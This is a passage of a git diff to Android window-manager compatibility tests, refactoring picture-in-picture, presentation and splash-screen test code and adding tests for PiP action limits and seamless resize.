-                EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
+                extraString(EXTRA_ENTER_PIP, "true"),
+                extraString(EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR, Integer.toString(num)),
+                extraString(EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom)));
         assertPinnedStackDoesNotExist();
     }
 
@@ -375,13 +373,13 @@
         // Try to resize the a normal pinned stack to an extreme aspect ratio and ensure that
         // fails (the aspect ratio remains the same)
         launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR,
-                        Integer.toString(MAX_ASPECT_RATIO_NUMERATOR),
-                EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR,
-                        Integer.toString(MAX_ASPECT_RATIO_DENOMINATOR),
-                EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
-                EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
+                extraString(EXTRA_ENTER_PIP, "true"),
+                extraString(EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR,
+                        Integer.toString(MAX_ASPECT_RATIO_NUMERATOR)),
+                extraString(EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR,
+                        Integer.toString(MAX_ASPECT_RATIO_DENOMINATOR)),
+                extraString(EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(num)),
+                extraString(EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom)));
         // Wait for animation complete since we are comparing aspect ratio
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
         assertPinnedStackExists();
@@ -409,7 +407,7 @@
         launchActivity(TEST_ACTIVITY);
 
         // Launch the PIP activity on pause
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP_ON_PAUSE, "true"));
         assertPinnedStackDoesNotExist();
 
         // Go home and ensure that there is a pinned stack
@@ -425,7 +423,7 @@
         launchActivity(TEST_ACTIVITY);
 
         // Launch the PIP activity that enters PIP on user leave hint, not on PIP requested
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT, "true"));
         assertPinnedStackDoesNotExist();
 
         // Go home and ensure that there is a pinned stack
@@ -458,7 +456,7 @@
         launchActivity(TEST_ACTIVITY);
 
         // Launch the PIP activity on pip requested
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PIP_REQUESTED, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP_ON_PIP_REQUESTED, "true"));
         assertPinnedStackDoesNotExist();
 
         // Call onPictureInPictureRequested and verify activity enters pip
@@ -493,8 +491,8 @@
         // top of itself.  Wait for the new activity to be visible and ensure that the pinned stack
         // was not created in the process
         launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP_ON_PAUSE, "true",
-                EXTRA_START_ACTIVITY, getActivityName(NON_RESIZEABLE_ACTIVITY));
+                extraString(EXTRA_ENTER_PIP_ON_PAUSE, "true"),
+                extraString(EXTRA_START_ACTIVITY, getActivityName(NON_RESIZEABLE_ACTIVITY)));
         mWmState.computeState(
                 new WaitForValidActivityState(NON_RESIZEABLE_ACTIVITY));
         assertPinnedStackDoesNotExist();
@@ -513,8 +511,8 @@
         // some period.  Wait for the previous activity to be visible, and ensure that the pinned
         // stack was not created in the process
         launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP_ON_PAUSE, "true",
-                EXTRA_FINISH_SELF_ON_RESUME, "true");
+                extraString(EXTRA_ENTER_PIP_ON_PAUSE, "true"),
+                extraString(EXTRA_FINISH_SELF_ON_RESUME, "true"));
         assertPinnedStackDoesNotExist();
     }
 
@@ -522,9 +520,11 @@
     public void testAutoEnterPictureInPictureAspectRatio() throws Exception {
         // Launch the PIP activity on pause, and set the aspect ratio
         launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP_ON_PAUSE, "true",
-                EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(MAX_ASPECT_RATIO_NUMERATOR),
-                EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(MAX_ASPECT_RATIO_DENOMINATOR));
+                extraString(EXTRA_ENTER_PIP_ON_PAUSE, "true"),
+                extraString(EXTRA_SET_ASPECT_RATIO_NUMERATOR,
+                        Integer.toString(MAX_ASPECT_RATIO_NUMERATOR)),
+                extraString(EXTRA_SET_ASPECT_RATIO_DENOMINATOR,
+                        Integer.toString(MAX_ASPECT_RATIO_DENOMINATOR)));
 
         // Go home while the pip activity is open to trigger auto-PIP
         launchHomeActivity();
@@ -546,7 +546,7 @@
         assertPinnedStackExists();
 
         // Launch the PIP activity on pause
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP_ON_PAUSE, "true"));
 
         // Go home while the PIP activity is open to try to trigger auto-enter PIP
         launchHomeActivity();
@@ -585,7 +585,7 @@
         int defaultDisplayWindowingMode = getDefaultDisplayWindowingMode(PIP_ACTIVITY);
 
         // Launch second PIP activity
-        launchActivity(PIP_ACTIVITY2, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY2, extraString(EXTRA_ENTER_PIP, "true"));
 
         final ActivityTask pinnedStack = getPinnedStack();
         assertEquals(0, pinnedStack.getTasks().size());
@@ -597,10 +597,13 @@
 
     @Test
     public void testPipUnPipOverHome() throws Exception {
+        // Launch a task behind home to assert that the next fullscreen task isn't visible when
+        // leaving PiP.
+        launchActivity(TEST_ACTIVITY);
         // Go home
         launchHomeActivity();
         // Launch an auto pip activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
 
@@ -609,6 +612,7 @@
         waitForExitPipToFullscreen(PIP_ACTIVITY);
         mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
+        mWmState.assertVisibility(TEST_ACTIVITY, false);
         mWmState.assertHomeActivityVisible(true);
     }
 
@@ -618,7 +622,7 @@
         launchActivity(TEST_ACTIVITY);
 
         // Launch an auto pip activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
 
@@ -635,13 +639,11 @@
         // Launch a pip activity
         launchActivity(PIP_ACTIVITY);
         int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
 
         // Remove the stack and ensure that the task is now in the fullscreen/freeform stack (when
         // no fullscreen/freeform stack existed before)
-        removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
+        removeRootTasksInWindowingModes(WINDOWING_MODE_PINNED);
         assertPinnedStackStateOnMoveToBackStack(PIP_ACTIVITY,
                 WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME, windowingMode);
     }
@@ -653,13 +655,11 @@
         launchActivity(PIP_ACTIVITY);
         int testAppWindowingMode = mWmState.getTaskByActivity(TEST_ACTIVITY).getWindowingMode();
         int pipWindowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
 
         // Remove the stack and ensure that the task is placed in the fullscreen/freeform stack,
         // behind the top fullscreen/freeform activity
-        removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
+        removeRootTasksInWindowingModes(WINDOWING_MODE_PINNED);
         assertPinnedStackStateOnMoveToBackStack(PIP_ACTIVITY,
                 testAppWindowingMode, ACTIVITY_TYPE_STANDARD, pipWindowingMode);
     }
@@ -672,13 +672,11 @@
         launchHomeActivity();
         launchActivity(PIP_ACTIVITY);
         int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
 
         // Remove the stack and ensure that the task is placed on top of the hidden
         // fullscreen/freeform stack, but that the home stack is still focused
-        removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
+        removeRootTasksInWindowingModes(WINDOWING_MODE_PINNED);
         assertPinnedStackStateOnMoveToBackStack(PIP_ACTIVITY,
                 WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME, windowingMode);
     }
@@ -686,14 +684,12 @@
     @Test
     public void testMovePipToBackWithNoFullscreenOrFreeformStack() throws Exception {
         // Start with a clean slate, remove all the stacks but home
-        removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+        removeRootTasksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
 
         // Launch a pip activity
         launchActivity(PIP_ACTIVITY);
         int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
 
         // Remove the stack and ensure that the task is now in the fullscreen/freeform stack (when
         // no fullscreen/freeform stack existed before)
@@ -709,9 +705,7 @@
         launchActivity(PIP_ACTIVITY);
         int testAppWindowingMode = mWmState.getTaskByActivity(TEST_ACTIVITY).getWindowingMode();
         int pipWindowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
 
         // Remove the stack and ensure that the task is placed in the fullscreen/freeform stack,
         // behind the top fullscreen/freeform activity
@@ -728,9 +722,7 @@
         launchHomeActivity();
         launchActivity(PIP_ACTIVITY);
         int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
 
         // Remove the stack and ensure that the task is placed on top of the hidden
         // fullscreen/freeform stack, but that the home stack is still focused
@@ -742,7 +734,7 @@
     @Test
     public void testPinnedStackAlwaysOnTop() throws Exception {
         // Launch activity into pinned stack and assert it's on top.
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
         assertPinnedStackIsOnTop();
@@ -765,7 +757,7 @@
             appOpsSession.setOpToMode(APP_OPS_OP_ENTER_PICTURE_IN_PICTURE, APP_OPS_MODE_IGNORED);
 
             // Launch the PIP activity on pause
-            launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+            launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
             assertPinnedStackDoesNotExist();
 
             // Go home and ensure that there is no pinned stack
@@ -788,7 +780,7 @@
         // Try to enter picture-in-picture from an activity that has more than one activity in the
         // task and ensure that it works, for pre-Q app
         launchActivity(SDK_27_LAUNCH_ENTER_PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true");
+                extraString(EXTRA_ENTER_PIP, "true"));
         waitForEnterPip(SDK_27_PIP_ACTIVITY);
         assertPinnedStackExists();
 
@@ -828,16 +820,16 @@
         // for the next resumeWhilePausing activity to finish resuming, but slow enough to not
         // trigger the current system pause timeout (currently 500ms)
         launchActivity(PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
-                EXTRA_ENTER_PIP_ON_PAUSE, "true",
-                EXTRA_ON_PAUSE_DELAY, "350",
-                EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true");
+                extraString(EXTRA_ENTER_PIP_ON_PAUSE, "true"),
+                extraString(EXTRA_ON_PAUSE_DELAY, "350"),
+                extraString(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true"));
         launchActivity(RESUME_WHILE_PAUSING_ACTIVITY);
         assertPinnedStackExists();
     }
 
     @Test
     public void testDisallowEnterPipActivityLocked() throws Exception {
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP_ON_PAUSE, "true"));
         ActivityTask task = mWmState.getStackByActivity(PIP_ACTIVITY);
 
         // Lock the task and ensure that we can't enter picture-in-picture both explicitly and
@@ -866,9 +858,7 @@
         launchActivity(PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         separateTestJournal();
         int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
-        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
-        waitForEnterPip(PIP_ACTIVITY);
-        assertPinnedStackExists();
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
         waitForValidPictureInPictureCallbacks(PIP_ACTIVITY);
         assertValidPictureInPictureCallbackOrder(PIP_ACTIVITY, windowingMode);
 
@@ -918,7 +908,7 @@
         transitionAnimationScaleSession.set(20f);
 
         // Launch a PiP activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         // Wait until the PiP activity has moved into the pinned stack (happens before the
         // transition has started)
         waitForEnterPip(PIP_ACTIVITY);
@@ -960,7 +950,7 @@
 
         // Dismiss it
         separateTestJournal();
-        removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
+        removeRootTasksInWindowingModes(WINDOWING_MODE_PINNED);
         waitForExitPipToFullscreen(PIP_ACTIVITY);
         waitForValidPictureInPictureCallbacks(PIP_ACTIVITY);
 
@@ -986,7 +976,7 @@
     @Test
     public void testPreventSetAspectRatioWhileExpanding() throws Exception {
         // Launch the PiP activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         waitForEnterPip(PIP_ACTIVITY);
 
         // Trigger it to go back to fullscreen and try to set the aspect ratio, and ensure that the
@@ -1001,8 +991,8 @@
         assumeTrue("Skipping test: no orientation request support", supportsOrientationRequest());
         // Launch the PiP activity fixed as portrait, and enter picture-in-picture
         launchActivity(PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
-                EXTRA_PIP_ORIENTATION, String.valueOf(ORIENTATION_PORTRAIT),
-                EXTRA_ENTER_PIP, "true");
+                extraString(EXTRA_PIP_ORIENTATION, String.valueOf(ORIENTATION_PORTRAIT)),
+                extraString(EXTRA_ENTER_PIP, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
 
@@ -1037,12 +1027,9 @@
     }
 
     @Test
-    @FlakyTest(bugId=156314330)
     public void testFinishPipActivityWithTaskOverlay() throws Exception {
-        // Trigger PiP menu activity to properly lose focuse when going home
-        launchActivity(TEST_ACTIVITY);
         // Launch PiP activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
         int taskId = mWmState.getStandardStackByWindowingMode(
@@ -1063,7 +1050,7 @@
     @Test
     public void testNoResumeAfterTaskOverlayFinishes() throws Exception {
         // Launch PiP activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
         ActivityTask stack = mWmState.getStandardStackByWindowingMode(WINDOWING_MODE_PINNED);
@@ -1084,39 +1071,15 @@
     }
 
     @Test
-    public void testPinnedStackWithDockedStack() throws Exception {
-        assumeTrue(supportsSplitScreenMultiWindow());
+    public void testTranslucentActivityOnTopOfPinnedTask() {
+        launchActivity(LAUNCH_PIP_ON_PIP_ACTIVITY);
+        // NOTE: moving to pinned stack will trigger the pip-on-pip activity to launch the
+        // translucent activity.
+        enterPipAndAssertPinnedTaskExists(ALWAYS_FOCUSABLE_PIP_ACTIVITY);
 
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-        waitForEnterPip(PIP_ACTIVITY);
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
-                        .setRandomData(true)
-                        .setMultipleTask(false)
-        );
-        mWmState.assertVisibility(PIP_ACTIVITY, true);
-        mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
-        mWmState.assertVisibility(TEST_ACTIVITY, true);
-
-        // Launch the activities again to take focus and make sure nothing is hidden
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
-                        .setRandomData(true)
-                        .setMultipleTask(false)
-        );
-        mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
-        mWmState.assertVisibility(TEST_ACTIVITY, true);
-
-        // Go to recents to make sure that fullscreen stack is invisible
-        // Some devices do not support recents or implement it differently (instead of using a
-        // separate stack id or as an activity), for those cases the visibility asserts will be
-        // ignored
-        if (pressAppSwitchButtonAndWaitForRecents()) {
-            mWmState.assertVisibility(LAUNCHING_ACTIVITY, true);
-            mWmState.assertVisibility(TEST_ACTIVITY, false);
-        }
+        assertPinnedStackIsOnTop();
+        mWmState.assertVisibility(LAUNCH_PIP_ON_PIP_ACTIVITY, true);
+        mWmState.assertVisibility(ALWAYS_FOCUSABLE_PIP_ACTIVITY, true);
     }
 
     @Test
@@ -1149,8 +1112,8 @@
         // a result, the task will not have a component matching the same activity as what it was
         // started with
         launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY,
-                EXTRA_START_ACTIVITY, getActivityName(TEST_ACTIVITY),
-                EXTRA_FINISH_SELF_ON_RESUME, "true");
+                extraString(EXTRA_START_ACTIVITY, getActivityName(TEST_ACTIVITY)),
+                extraString(EXTRA_FINISH_SELF_ON_RESUME, "true"));
         mWmState.waitForValidState(new WaitForValidActivityState.Builder(TEST_ACTIVITY)
                 .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
                 .setActivityType(ACTIVITY_TYPE_STANDARD)
@@ -1177,9 +1140,9 @@
     public void testLaunchTaskByAffinityMatchSingleTask() throws Exception {
         // Launch an activity into the pinned stack with a fixed affinity
         launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_START_ACTIVITY, getActivityName(PIP_ACTIVITY),
-                EXTRA_FINISH_SELF_ON_RESUME, "true");
+                extraString(EXTRA_ENTER_PIP, "true"),
+                extraString(EXTRA_START_ACTIVITY, getActivityName(PIP_ACTIVITY)),
+                extraString(EXTRA_FINISH_SELF_ON_RESUME, "true"));
         waitForEnterPip(PIP_ACTIVITY);
         assertPinnedStackExists();
 
@@ -1207,7 +1170,7 @@
         assertNotNull("Must report app bounds", initialAppBounds);
 
         separateTestJournal();
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         // Wait for animation complete since we are comparing bounds
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
         final SizeInfo pinnedSizes = getLastReportedSizesForActivity(PIP_ACTIVITY);
@@ -1229,6 +1192,99 @@
                 finalAppSize);
     }
 
+    @Test
+    public void testAutoPipAllowedBypassesExplicitEnterPip() {
+        // Launch a test activity so that we're not over home.
+        launchActivity(TEST_ACTIVITY);
+
+        // Launch the PIP activity and set its pip params to allow auto-pip.
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ALLOW_AUTO_PIP, "true"));
+        assertPinnedStackDoesNotExist();
+
+        // Go home and ensure that there is a pinned stack.
+        launchHomeActivity();
+        waitForEnterPip(PIP_ACTIVITY);
+        assertPinnedStackExists();
+    }
+
+    @Test
+    public void testMaxNumberOfActions() {
+        final int maxNumberActions = ActivityTaskManager.getMaxNumPictureInPictureActions(mContext);
+        assertThat(maxNumberActions, greaterThanOrEqualTo(3));
+    }
+
+    @Test
+    public void testFillMaxAllowedActions() {
+        final int maxNumberActions = ActivityTaskManager.getMaxNumPictureInPictureActions(mContext);
+        // Launch the PIP activity with max allowed actions
+        launchActivity(PIP_ACTIVITY,
+                extraString(EXTRA_NUMBER_OF_CUSTOM_ACTIONS, String.valueOf(maxNumberActions)));
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
+
+        assertNumberOfActions(PIP_ACTIVITY, maxNumberActions);
+    }
+
+    @Test
+    public void testRejectExceededActions() {
+        final int maxNumberActions = ActivityTaskManager.getMaxNumPictureInPictureActions(mContext);
+        // Launch the PIP activity with exceeded amount of actions
+        launchActivity(PIP_ACTIVITY,
+                extraString(EXTRA_NUMBER_OF_CUSTOM_ACTIONS, String.valueOf(maxNumberActions + 1)));
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
+
+        assertNumberOfActions(PIP_ACTIVITY, maxNumberActions);
+    }
+
+    @Test
+    public void testIsSeamlessResizeEnabledDefaultToTrue() {
+        // Launch the PIP activity with some random param without setting isSeamlessResizeEnabled
+        // so the PictureInPictureParams acquired from TaskInfo is not null
+        launchActivity(PIP_ACTIVITY,
+                extraString(EXTRA_NUMBER_OF_CUSTOM_ACTIONS, String.valueOf(1)));
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
+
+        // Assert the default value of isSeamlessResizeEnabled is set to true.
+        assertIsSeamlessResizeEnabled(PIP_ACTIVITY, true);
+    }
+
+    @Test
+    public void testDisableIsSeamlessResizeEnabled() {
+        // Launch the PIP activity with overridden isSeamlessResizeEnabled param
+        launchActivity(PIP_ACTIVITY, extraBool(EXTRA_IS_SEAMLESS_RESIZE_ENABLED, false));
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
+
+        // Assert the value of isSeamlessResizeEnabled is overridden.
+        assertIsSeamlessResizeEnabled(PIP_ACTIVITY, false);
+    }
+
+    private void assertIsSeamlessResizeEnabled(ComponentName componentName, boolean expected) {
+        runWithShellPermission(() -> {
+            final ActivityTask task = mWmState.getTaskByActivity(componentName);
+            final TaskInfo info = mTaskOrganizer.getTaskInfo(task.getTaskId());
+            final PictureInPictureParams params = info.getPictureInPictureParams();
+
+            assertEquals(expected, params.isSeamlessResizeEnabled());
+        });
+    }
+
+    private void assertNumberOfActions(ComponentName componentName, int numberOfActions) {
+        runWithShellPermission(() -> {
+            final ActivityTask task = mWmState.getTaskByActivity(componentName);
+            final TaskInfo info = mTaskOrganizer.getTaskInfo(task.getTaskId());
+            final PictureInPictureParams params = info.getPictureInPictureParams();
+
+            assertNotNull(params);
+            assertNotNull(params.getActions());
+            assertEquals(params.getActions().size(), numberOfActions);
+        });
+    }
+
+    private void enterPipAndAssertPinnedTaskExists(ComponentName activityName) {
+        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
+        waitForEnterPip(activityName);
+        assertPinnedStackExists();
+    }
+
     /** Get app bounds in last applied configuration. */
     private Rect getAppBounds(ComponentName activityName) {
         final Configuration config = TestJournalContainer.get(activityName).extras
@@ -1504,17 +1560,10 @@
      *       if the stack is focused.
      */
     private void pinnedStackTester(String startActivityCmd, ComponentName startActivity,
-            ComponentName topActivityName, boolean moveTopToPinnedStack, boolean isFocusable) {
+            ComponentName topActivityName, boolean isFocusable) {
         executeShellCommand(startActivityCmd);
         mWmState.waitForValidState(startActivity);
 
-        if (moveTopToPinnedStack) {
-            final int stackId = mWmState.getStackIdByActivity(topActivityName);
-
-            assertNotEquals(stackId, INVALID_STACK_ID);
-            moveTopActivityToPinnedStack(stackId);
-        }
-
         mWmState.waitForValidState(new WaitForValidActivityState.Builder(topActivityName)
                 .setWindowingMode(WINDOWING_MODE_PINNED)
                 .setActivityType(ACTIVITY_TYPE_STANDARD)
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PresentationTest.java b/tests/framework/base/windowmanager/src/android/server/wm/PresentationTest.java
index 4b34c9b..6383d29 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PresentationTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PresentationTest.java
@@ -46,7 +46,7 @@
             if ((display.getFlags() & Display.FLAG_PRESENTATION) != Display.FLAG_PRESENTATION) {
                 assertNoPresentationDisplayed();
             } else {
-                assertPresentationOnDisplay(display.getDisplayId());
+                assertPresentationOnDisplayAndMatchesDisplayMetrics(display.getDisplayId());
             }
         }
     }
@@ -63,11 +63,11 @@
                 .isEqualTo(Display.FLAG_PRESENTATION);
 
         launchPresentationActivity(display.mId);
-        assertPresentationOnDisplay(display.mId);
+        assertPresentationOnDisplayAndMatchesDisplayMetrics(display.mId);
     }
 
     @Test
-    public void testPresentationDismissAfterResizeDisplay() {
+    public void testPresentationNotDismissAfterResizeDisplay() {
         final VirtualDisplaySession virtualDisplaySession = createManagedVirtualDisplaySession();
         WindowManagerState.DisplayContent display = virtualDisplaySession
                         .setPresentationDisplay(true)
@@ -79,14 +79,14 @@
                 .isEqualTo(Display.FLAG_PRESENTATION);
 
         launchPresentationActivity(display.mId);
-        assertPresentationOnDisplay(display.mId);
+        assertPresentationOnDisplayAndMatchesDisplayMetrics(display.mId);
 
         virtualDisplaySession.resizeDisplay();
 
-        assertTrue("Presentation must dismiss on external public display",
-                mWmState.waitForWithAmState(
-                        state -> !isPresentationOnDisplay(state, display.mId),
-                        "Presentation window dismiss"));
+        assertTrue("Presentation must not dismiss on external public display even if"
+                + "display resize", mWmState.waitForWithAmState(
+                state -> isPresentationOnDisplay(state, display.mId),
+                "Presentation window still shows"));
     }
 
     @Test
@@ -117,13 +117,17 @@
         assertThat(presentationWindows).isEmpty();
     }
 
-    private void assertPresentationOnDisplay(int displayId) {
+    private void assertPresentationOnDisplayAndMatchesDisplayMetrics(int displayId) {
         final List<WindowManagerState.WindowState> presentationWindows =
                 mWmState.getWindowsByPackageName(
                         Components.PRESENTATION_ACTIVITY.getPackageName(), TYPE_PRESENTATION);
         assertThat(presentationWindows).hasSize(1);
         WindowManagerState.WindowState presentationWindowState = presentationWindows.get(0);
         assertThat(presentationWindowState.getDisplayId()).isEqualTo(displayId);
+
+        WindowManagerState.DisplayContent display = mWmState.getDisplay(displayId);
+        assertThat(display.getDisplayRect()).isEqualTo(
+                presentationWindowState.mFullConfiguration.windowConfiguration.getBounds());
     }
 
     private void launchPresentationActivity(int displayId) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
index 9a92df9..3ba2f6d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
@@ -16,25 +16,62 @@
 
 package android.server.wm;
 
+import static android.app.UiModeManager.MODE_NIGHT_AUTO;
+import static android.app.UiModeManager.MODE_NIGHT_CUSTOM;
+import static android.app.UiModeManager.MODE_NIGHT_NO;
+import static android.app.UiModeManager.MODE_NIGHT_YES;
+import static android.server.wm.CliIntentExtra.extraBool;
+import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.app.Components.HANDLE_SPLASH_SCREEN_EXIT_ACTIVITY;
 import static android.server.wm.app.Components.SPLASHSCREEN_ACTIVITY;
+import static android.server.wm.app.Components.SPLASH_SCREEN_REPLACE_ICON_ACTIVITY;
+import static android.server.wm.app.Components.TestStartingWindowKeys.CANCEL_HANDLE_EXIT;
+import static android.server.wm.app.Components.TestStartingWindowKeys.CONTAINS_BRANDING_VIEW;
+import static android.server.wm.app.Components.TestStartingWindowKeys.CONTAINS_CENTER_VIEW;
+import static android.server.wm.app.Components.TestStartingWindowKeys.DELAY_RESUME;
+import static android.server.wm.app.Components.TestStartingWindowKeys.GET_NIGHT_MODE_ACTIVITY_CHANGED;
+import static android.server.wm.app.Components.TestStartingWindowKeys.HANDLE_SPLASH_SCREEN_EXIT;
+import static android.server.wm.app.Components.TestStartingWindowKeys.ICON_ANIMATION_DURATION;
+import static android.server.wm.app.Components.TestStartingWindowKeys.ICON_ANIMATION_START;
+import static android.server.wm.app.Components.TestStartingWindowKeys.RECEIVE_SPLASH_SCREEN_EXIT;
+import static android.server.wm.app.Components.TestStartingWindowKeys.REPLACE_ICON_EXIT;
